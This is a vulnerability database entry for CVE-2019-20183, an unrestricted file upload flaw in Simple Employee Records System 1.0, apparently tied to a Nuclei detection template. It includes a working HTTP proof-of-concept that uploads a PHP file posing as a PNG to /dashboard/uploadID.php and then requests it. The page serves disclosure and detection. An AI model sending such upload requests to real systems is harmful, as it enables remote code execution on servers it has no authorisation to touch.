🔙 목록으로 돌아가기

CVE-2019-20183: Simple Employee Records System 1.0 - Unrestricted File Upload

TitleSimple Employee Records System 1.0 - Unrestricted File Upload
Authorpikpikcu,j4vaovo
SeverityHigh
ImpactSuccessful exploitation of this vulnerability can result in unauthorized access to the system, remote code execution, and potential compromise of sensitive data.
RemediationApply the latest patch or update to Simple Employee Records System 1.0 to fix the unrestricted file upload vulnerability.
CVSS Score7.2
EPSS Score0.56083
CVE IDCVE-2019-20183
CWE IDCWE-434
Tags cve cve2019 edb rce fileupload intrusive employee_records_system_project vuln

🔍 Vulnerability Description

Simple Employee Records System 1.0 contains an arbitrary file upload vulnerability due to client-side validation of file extensions. This can be used to upload executable code to the server to obtain access or perform remote command execution.

🌐 HTTP Request

POST /dashboard/uploadID.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.9
Connection: close
Content-Length: 278
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data; boundary=---------------------------5825462663702204104870787337
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

-----------------------------5825462663702204104870787337

Content-Disposition: form-data; name="employee_ID"; filename="poc.php"

Content-Type: image/png



<?php

echo md5('CVE-2019-20183');

unlink(__FILE__);

?>

-----------------------------5825462663702204104870787337--
GET /uploads/employees_ids/i8YTNn HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-20183.yaml

🦈 Packet Capture: ⬇️ Download cve-2019-20183.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A